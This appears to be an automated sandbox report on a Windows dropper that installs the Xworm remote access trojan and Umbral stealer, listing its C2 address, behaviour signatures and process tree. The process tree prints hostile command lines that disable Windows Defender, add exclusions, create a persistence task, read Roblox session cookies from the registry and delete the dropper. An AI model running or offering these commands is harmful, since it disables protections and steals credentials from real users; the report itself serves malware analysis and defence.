Analysis

  • max time kernel
    146s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/06/2024, 05:40

General

  • Target
    8f77f8b13b914f358059e3f7b9ddab70_NeikiAnalytics.exe
  • Size 139KB
  • Sample240601-gcwdvscd43
  • SHA256 c22c863186e9e86a07cdb7f214c4acede216405a09d4032a603e64931f6966e6
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

C2
  • answer-riverside.gl.at.ply.gg:45691

Attributes
  • Install_directory

    %AppData%

  • install_file

    svhost.exe

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8f77f8b13b914f358059e3f7b9ddab70_NeikiAnalytics.exe
    "C:\Users\Admin\AppData\Local\Temp\8f77f8b13b914f358059e3f7b9ddab70_NeikiAnalytics.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1664
    • C:\Users\Admin\AppData\Local\Temp\XClient.exe
      "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3844
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2508
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2948
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svhost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2456
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:5064
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
        3⤵
        • Creates scheduled task(s)
        PID:3764
    • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
      "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:868
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4264
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
        3⤵
        • Views/modifies file attributes
        PID:4780
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RustCheat.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3284
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4540
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1644
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:228
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5044
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:3908
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:4232
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3712
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:448
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe" && pause
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4184
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • Runs ping.exe
              PID:4876
      • C:\Users\Admin\AppData\Roaming\svhost.exe
        C:\Users\Admin\AppData\Roaming\svhost.exe
        1⤵
        • Executes dropped EXE
        PID:4692
      • C:\Users\Admin\AppData\Roaming\svhost.exe
        C:\Users\Admin\AppData\Roaming\svhost.exe
        1⤵
        • Executes dropped EXE
        PID:4516

      Network

            MITRE ATT&CK Enterprise v15

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
            • MD5 SHA1 SHA512

            svhost.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svhost.exe.log
            • Size 654B
            • SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 18b86f2340bc1547cc647693777444a0788551baee5989b0f8b186b8109f291c
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 c37e94da3e67f9473d2f0f51725c4246eefdbd2c01b3603d1b218842afc05048
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 2c42082be2718281fe2a2bf0136bf417ff214ce7c36bc22a40d23adb1d026632
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 948B
            • SHA256 4640ba4001fd16a593315299cbdd4988dc2c7075820687f1018aac40aca95c26
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc
            • MD5 SHA1 SHA512

            RustCheat.exe

            • Path C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
            • Size 231KB
            • SHA256 d9f3baf81271c395f4dc10e21d12bc2bfb875a8a28ede54abd54a0d8de194d37
            • MD5 SHA1 SHA512 SSDEEP

            XClient.exe

            • Path C:\Users\Admin\AppData\Local\Temp\XClient.exe
            • Size 60KB
            • SHA256 a02fb0b588d89b4ea7f83fc303af6ab00b5ec81a39cf79b2e6ec65d3a3e4c63d
            • MD5 SHA1 SHA512 SSDEEP

            __PSScriptPolicyTest_4de2ragr.4cu.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4de2ragr.4cu.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            memory/868-57-0x00000174768C0000-0x0000017476936000-memory.dmp

            memory/868-95-0x0000017475E80000-0x0000017475E8A000-memory.dmp

            memory/868-162-0x00007FFD7B750000-0x00007FFD7C211000-memory.dmp

            memory/868-58-0x0000017475E20000-0x0000017475E70000-memory.dmp

            memory/868-59-0x0000017475DF0000-0x0000017475E0E000-memory.dmp

            memory/868-26-0x0000017474160000-0x00000174741A0000-memory.dmp

            memory/868-30-0x00007FFD7B750000-0x00007FFD7C211000-memory.dmp

            memory/868-96-0x0000017476A60000-0x0000017476A72000-memory.dmp

            memory/1664-29-0x00007FFD7B750000-0x00007FFD7C211000-memory.dmp

            memory/1664-2-0x00007FFD7B750000-0x00007FFD7C211000-memory.dmp

            memory/1664-0-0x00007FFD7B753000-0x00007FFD7B755000-memory.dmp

            memory/1664-1-0x00000000005A0000-0x00000000005CA000-memory.dmp

            memory/3284-31-0x000001C16E590000-0x000001C16E5B2000-memory.dmp

            memory/3844-28-0x00007FFD7B750000-0x00007FFD7C211000-memory.dmp

            memory/3844-27-0x0000000000590000-0x00000000005A6000-memory.dmp

            memory/3844-163-0x00007FFD7B750000-0x00007FFD7C211000-memory.dmp